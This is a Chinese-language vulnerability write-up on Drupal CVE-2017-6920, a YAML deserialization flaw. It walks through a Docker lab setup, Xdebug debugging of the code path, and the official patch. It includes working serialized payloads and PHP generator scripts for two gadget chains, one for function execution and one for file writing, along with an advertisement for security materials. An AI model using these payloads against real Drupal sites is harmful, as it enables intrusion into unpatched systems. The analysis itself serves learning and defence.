天天看點

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

前幾天在參加 FOFA-攻防挑戰賽時,遇到了 Drupal 的盲盒漏洞環境,最終确定漏洞為 CVE-2017-6920 ,但是還是無法 getflag ,因為網上相關參考文章并不是很多,大多都隻是簡單的複現了,于是就想着對這個漏洞進行一個詳細的分析...

前幾天在參加 FOFA-攻防挑戰賽時,遇到了 Drupal 的盲盒漏洞環境,最終确定漏洞為 CVE-2017-6920 ,但是還是無法 getflag ,因為網上相關參考文章并不是很多,大多都隻是簡單的複現了,于是就想着對這個漏洞進行一個詳細的分析。

漏洞描述

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

環境搭建

環境的搭建,我們可以選擇 p神 的 Vulhub 上的環境,我們也可以利用 vulfocus 的線上環境,或者将鏡像拉取下來本地啟動。

因為 p 神的環境還需要再進行配置 

yaml

 ,為了友善,我們這裡就選擇 vulfocus 的鏡像來進行複現學習

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

  

docker pull vulfocus/drupal-cve_2017_6920:latest
docker ps      

  

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

通路随機生成的端口 49156 

http://127.0.0.1:49156/

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

漏洞複現

通路登入界面 

http://127.0.0.1:49156/user/login

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

輸入賬号密碼 admin:admin123

登入成功

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

登陸成功後通路路由 

/admin/config/development/configuration/single/import

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

填寫相關參數

  

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

點選 

import

 觸發漏洞

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “部落格園” 擷取!】

 ① 網安學習成長路徑思維導圖

 ② 60+網安經典常用工具包

 ③ 100+SRC漏洞分析報告

 ④ 150+網安攻防實戰技術電子書

 ⑤ 最權威CISSP 認證考試指南+題庫

 ⑥ 超1800頁CTF實戰技巧手冊

 ⑦ 最新網安大廠面試題合集(含答案)

 ⑧ APP用戶端安全檢測指南(安卓+IOS)

漏洞分析

漏洞存在于 drupal 8.3.3 是以我們下載下傳 存在漏洞的版本 drupal 8.3.3 和修複的版本 drupal 8.3.4 進行對比,發現漏洞位于

core\lib\Drupal\Component\Serialization\YamlPecl.php

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

我們看到修改的位置有這麼一句 

// We never want to unserialize !php/object.

就大概可以推測出是在這個地方,以

!php/object

 為開頭時 會産生反序列化漏洞

  

為了友善進行調試,是以我們換一下 docker 啟動時的指令,友善啟動後進行 php 遠端調試,在配置調試環境時出現了各種問題,本來是在本地搭建 docker 環境進行調試的,但是一直沒有成功,是以就采用在虛拟機中搭建 docker 環境,采用遠端調試。

  

docker run -itd -p 80:80 vulfocus/drupal-cve_2017_6920:latest

wget https://xdebug.org/files/xdebug-2.5.5.tgz

docker cp xdebug-2.5.5.tgz 30:/xdebug-2.5.5.tgz

docker exec -it 30 /bin/bash

cd /

tar xvf xdebug-2.5.5.tgz

cd xdebug-2.5.5

phpize

find / -name php-config

`/etc/alternatives/php-config`  
`/usr/bin/php-config`  
`/var/lib/dpkg/alternatives/php-config`      

./configure --enable-xdebug --with-php-config=/usr/bin/php-config

make && make install ==xdebug 被安裝到了 /usr/lib/php5/20121212/==

find / -name php.ini

`/etc/php5/cli/php.ini`  
`/etc/php5/apache2/php.ini`      

vim /etc/php5/apache2/php.ini ==修改 php.ini 檔案==

shift + g ==定位到最後一行==

echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php

sudo service apache2 restart

  

  

修改php.ini配置檔案,在檔案中追加以下内容

[Xdebug]
zend_extension=/usr/lib/php5/20121212/xdebug.so;指定Xdebug擴充檔案的路徑
xdebug.remote_enable=1 ;是否開啟遠端調試
xdebug.remote_handler=dbgp ;指定遠端調試的處理協定
xdebug.remote_mode=req ;可以設為req或jit,req表示腳本一開始運作就連接配接遠端用戶端,jit表示腳本出錯時才連接配接遠端用戶端。
xdebug.remote_host=192.168.222.1 ;指定遠端調試的主機名(安裝phpstorm的主機ip)
xdebug.remote_port=9001 ;指定遠端調試的端口号
xdebug.idekey="PHPSTORM" ;指定傳遞給DBGp調試器處理程式的IDE Key
xdebug.remote_enable=on; 
​
​
​
[Xdebug]
zend_extension=/usr/lib/php5/20121212/xdebug.so;
xdebug.remote_enable=1;
xdebug.remote_handler=dbgp;
xdebug.remote_mode=req;
xdebug.remote_host=192.168.222.1;
xdebug.remote_port=9001;
xdebug.idekey="PHPSTORM";      

通路 http://192.168.222.129/phpinfo.php 發現 xdebug 被安裝成功

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

  

先将代碼拷貝出來 

docker cp 30:/var/www/html html

利用 PHPSTROM 打開項目代碼

File -> Settings -> Languages & Frameworks -> PHP -> Debug

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)
【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

配置 Servers

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

此處要注意,需要直接指定到網站的目錄位置

配置PHP Web Application

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

配置完成後打開右上角的電話按鈕

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

打開浏覽器的插件 Xdebug helper

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

  

在 phpinfo 處加載斷點,并通路 

http://192.168.222.129/phpinfo.php

成功加載到斷點

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

之前也配置過 PHP 的遠端調試環境,但是在 Docker 裡面調試的時候,配置了很久的調試環境,最後才成功,中間出了大大小小無數的問題,遇到的最大的問題是最開始端口一直顯示被占用狀态,因為我啟動 docker 時的指令是 

docker run -itd -p 80:80 -p 9001:9001 vulfocus/drupal-cve_2017_6920:latest

 我一直認為說這個 9001 端口也要對外映射出來,但是我在調試時發現一直提示端口被占用,百思不得其解,采用百度大法看到了這麼一句 

不要在docker-compose 中添加 9000 端口

 ,我靈機一動,将 -p 9001:9001 給删除掉,就成功了。這下我才完全了解了,原來這個端口是遠端調控,就是安裝 PHPSTORM 機器上的端口。

  

正式開始調試分析

漏洞的最終觸發位置是在

core/lib/Drupal/Component/Serialization/YamlPecl.php::decode
【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

對傳入的 參數 $raw 如果可控的話,如果使用!php/object,那麼yaml_parse将會以反序列化(unserialize)的形式來進行處理字元串。

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

我們看在哪裡可以調用

YamlPecl.php::decode

core/lib/Drupal/Component/Serialization/Yaml.php::decode

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

decode 函數中 調用了靜态 

getSerializer

 函數

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

  

如果存在 yaml 擴充,

$serializer

 就使用 

YamlPecl

 類,之後會調用 

YamlPecl

 類中的 decode 函數;

如果不存在 yaml 擴充,

$serializer

 就使用 

YamlSymfony

 類,之後會調用 

YamlSymfony

 類中的 decode 函數。 目前的環境是已經安裝了 yaml 擴充了,是以我們隻需要尋找,可控輸入的 

Yaml::decode

core/modules/config/src/Form/ConfigSingleImportForm.php::validateForm

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

如此我們就已經确定了漏洞的觸發位置,以及漏洞的入口點,但是距離漏洞的利用成功還差一個 payload

我們已經知道這個漏洞是一個反序列化漏洞,我們就要找出這個系統中存在的反序列化鍊,針對這個漏洞有兩條利用鍊路,任意指令執行以及任意檔案寫入

任意指令執行

html\vendor\guzzlehttp\psr7\src\FnStream.php

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

反序列化這個類造成任意無參數函數執行

<?php
namespace GuzzleHttp\Psr7;
class FnStream {
  public function __construct(array $methods)
  {
    $this->methods = $methods;
​
​
    // Create the functions on the class
    foreach ($methods as $name => $fn) {
      $this->{'_fn_' . $name} = $fn;
    }
  }
  public function __destruct()
  {
    if (isset($this->_fn_close)) {
      call_user_func($this->_fn_close);
    }
  }
}
$fn = new FnStream(array('close'=>'phpinfo'));
echo(serialize($fn))
?>      
【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

序列化字元串加上yaml的!php/object

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:7:\"methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"      
【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)
【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

任意檔案寫入

html\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php

【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

反序列化這個類達到任意檔案寫入的效果,但是因為這個系統啟動并不是 root 權限啟動,是以隻有在 tmp 目錄下寫檔案的權限

<?php
​
require __DIR__.'/vendor/autoload.php';
​
​
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
​
​
$Limerence = new FileCookieJar('/tmp/shell.txt');
$payload = '1';
$data=array(
    'Name' => "Limerence",
    'Value' => "Limerence",
    'Domain' => $payload,
    'Expires' => time()
);
$Limerence->setCookie(new SetCookie($data));
echo(addslashes(serialize($Limerence)));      
【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)
!php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:14:\"/tmp/shell.txt\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\0GuzzleHttp\\Cookie\\SetCookie\0data\";a:9:{s:4:\"Name\";s:9:\"Limerence\";s:5:\"Value\";s:9:\"Limerence\";s:6:\"Domain\";s:1:\"1\";s:4:\"Path\";s:1:\"/\";s:7:\"Max-Age\";N;s:7:\"Expires\";i:1657262153;s:6:\"Secure\";b:0;s:7:\"Discard\";b:0;s:8:\"HttpOnly\";b:0;}}}s:39:\"\0GuzzleHttp\\Cookie\\CookieJar\0strictMode\";N;}"      
【漏洞分析】Drupal 遠端代碼執行(CVE-2017-6920)

  

漏洞修複

根據對比官方對 drupal 8.3.4 的修補,我們得出 針對低于版本 drupal 8.3.4 的代碼中 在

core\lib\Drupal\Component\Serialization\YamlPecl.php

的 

decode

 函數修改為

public static function decode($raw) {
    static $init;
    if (!isset($init)) {
      ini_set('yaml.decode_php', 0);
      $init = TRUE;
    }
    if (!trim($raw)) {
      return NULL;
    }
    set_error_handler([__CLASS__, 'errorHandler']);
    $ndocs = 0;
    $data = yaml_parse($raw, 0, $ndocs, [
      YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks',
    ]);
    restore_error_handler();
    return $data;
  }      

  

總結反思

之前也實作過遠端調試,但是對 docker 内的系統進行調試還沒有做過,不對的試錯過程中,也對 docker 進一步加深的認知與了解。

更多靶場實驗練習、網安學習資料,請點選這裡>>

搜尋

複制

合天智彙:合天網絡靶場、網安實戰虛拟環境